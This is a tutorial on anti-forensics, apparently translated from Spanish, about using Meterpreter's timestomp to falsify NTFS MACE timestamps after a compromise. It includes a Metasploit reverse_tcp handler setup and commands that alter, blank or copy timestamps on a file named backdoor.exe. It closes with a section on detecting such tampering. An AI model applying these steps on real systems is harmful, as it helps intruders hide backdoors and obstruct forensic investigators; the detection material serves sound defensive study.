Anti-Forensic Modification in Files

One of the most critical phases after a successful intrusion is the trace removal. When an attacker creates, modifies, or accesses files on the compromised system, the operating system automatically records timestamps of those operations. This metadata is fundamental evidence in any forensic investigation. The tool timestomp Meterpreter allows you to manipulate these timestamps to make it difficult to reconstruct chronological events during forensic analysis.

MACE attributes in file systems

NTFS (Windows) file systems store four main timestamps for each file, known as attributes MACE:

• Modified — Date of the last modification of the file content.
• Accessed — Date of last access to the file (read).
• Created — Date of creation of the file in the system.
• Modified Entry — Date of the last modification of the file metadata in the MFT (Master File Table).

In NTFS, these attributes are stored in both the $STANDARD_INFORMATION as in $FILE_NAME of the MFT. Modern forensic tools compare both sources to detect manipulations, since timestomp just modify $STANDARD_INFORMATION.

Get a Meterpreter session

Before using timestomp, we need an active Meterpreter session on the target system. Here is an example using a generic handler:

# Configurar handler para recibir conexión Meterpreter
msf> use exploit/multi/handler
msf exploit(handler)> set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler)> set LHOST 192.168.1.100
msf exploit(handler)> set LPORT 4444
msf exploit(handler)> exploit

[*] Meterpreter session 1 opened
meterpreter>

Using timestomp

Once inside the Meterpreter session, timestomp It is available as a built-in command. Let's look at the main operations:

# Ver la ayuda de timestomp
meterpreter> timestomp -h

Usage: timestomp  [OPTIONS]

OPTIONS:
  -a Set the "last accessed" time of the file
  -b Set the MACE timestamps so that EnCase shows blanks
  -c Set the "creation" time of the file
  -e Set the "mft entry modified" time of the file
  -f Set the MACE of attributes equal to the supplied file
  -m Set the "last written" time of the file
  -r Set the MACE timestamps recursively on a directory
  -v Display the UTC MACE values of the file
  -z Set all four attributes (MACE) of the file

Check current timestamps

Before modifying any file, it is useful to view its current timestamps:

# Ver los timestamps MACE de un archivo
meterpreter> timestomp C:\\Windows\\system32\\cmd.exe -v

Modified      : 2024-01-15 08:30:22 +0000
Accessed      : 2024-03-20 14:15:00 +0000
Created       : 2019-12-07 09:14:18 +0000
Entry Modified: 2024-01-15 08:30:22 +0000

Modify individual timestamps

Each MACE attribute can be modified independently:

# Modificar fecha de creación
meterpreter> timestomp C:\\backdoor.exe -c "01/15/2019 08:30:22"

# Modificar fecha de último acceso
meterpreter> timestomp C:\\backdoor.exe -a "03/20/2019 14:15:00"

# Modificar fecha de modificación
meterpreter> timestomp C:\\backdoor.exe -m "01/15/2019 08:30:22"

# Modificar fecha de entrada MFT
meterpreter> timestomp C:\\backdoor.exe -e "01/15/2019 08:30:22"

# Modificar TODOS los atributos MACE a la vez
meterpreter> timestomp C:\\backdoor.exe -z "01/15/2019 08:30:22"

Copy timestamps from another file

A more subtle technique is to copy the timestamps from a legitimate system file. This causes the malicious file to be mixed with the original operating system files:

# Copiar los timestamps de cmd.exe a nuestro archivo
meterpreter> timestomp C:\\backdoor.exe -f C:\\Windows\\system32\\cmd.exe

[*] Setting MACE attributes on C:\backdoor.exe from C:\Windows\system32\cmd.exe

# Verificar que los timestamps coinciden
meterpreter> timestomp C:\\backdoor.exe -v
meterpreter> timestomp C:\\Windows\\system32\\cmd.exe -v

Delete timestamps (blanking)

The option -b sets null values ​​on MACE attributes, causing forensic tools like EnCase to display blank fields:

# Blanquear todos los timestamps
meterpreter> timestomp C:\\backdoor.exe -b

[*] Blanking file MACE attributes on C:\backdoor.exe

Caution: Blank timestamps are in themselves a very obvious indicator of compromise. An experienced forensic analyst will immediately identify that the metadata has been manipulated. It is preferable to use the technique of copying timestamps from legitimate files.

Recursive modification in directories

If multiple files in a directory were created or modified during the intrusion, you can apply timestomp recursively:

# Modificar timestamps recursivamente en un directorio
meterpreter> timestomp C:\\Users\\Public\\Documents -r

Timestamp manipulation detection

From the forensic analyst's perspective, there are several techniques to detect timestamp manipulation:

• Compare $STANDARD_INFORMATION vs $FILE_NAME — timestomp just modify $STANDARD_INFORMATION. If the dates in $FILE_NAME are later than those of $STANDARD_INFORMATION, is a clear indicator of manipulation.
• $MFT Analysis — Tools like analyzeMFT either MFTECmd They can parse the Master File Table and detect inconsistencies.
• $UsnJrnl (USN Journal) — The NTFS change journal records operations on files and is more difficult to manipulate.
• $LogFile — The NTFS transactional log also contains independent temporal information.
• Blank Timestamps — Any file with null timestamps or in the year 1601 (Windows epoch) is immediately suspicious.
• Temporal correlation — If a file has a creation date in 2019 but its digital signature or hash corresponds to a binary compiled in 2024, the manipulation is evident.

# Herramientas forenses para detectar manipulación de timestamps

# Parsear la MFT con MFTECmd (Eric Zimmerman)
MFTECmd.exe -f C:\\$MFT --csv output/ --csvf mft_analysis.csv

# Analizar el USN Journal
fsutil usn readjournal C: csv > usn_journal.csv

# En Linux, analizar imagen forense con plaso/log2timeline
log2timeline.py timeline.plaso disk_image.E01
psort.py -o l2tcsv timeline.plaso > timeline.csv

Timestamp manipulation is a well-known anti-forensic technique and relatively easy to detect with the right tools. A competent analyst never relies solely on timestamps of $STANDARD_INFORMATION to reconstruct a timeline. Therefore, this technique alone is not enough to completely hide an intrusion, but combined with other log cleaning and artifact removal techniques, it can significantly complicate the investigation.

:wq!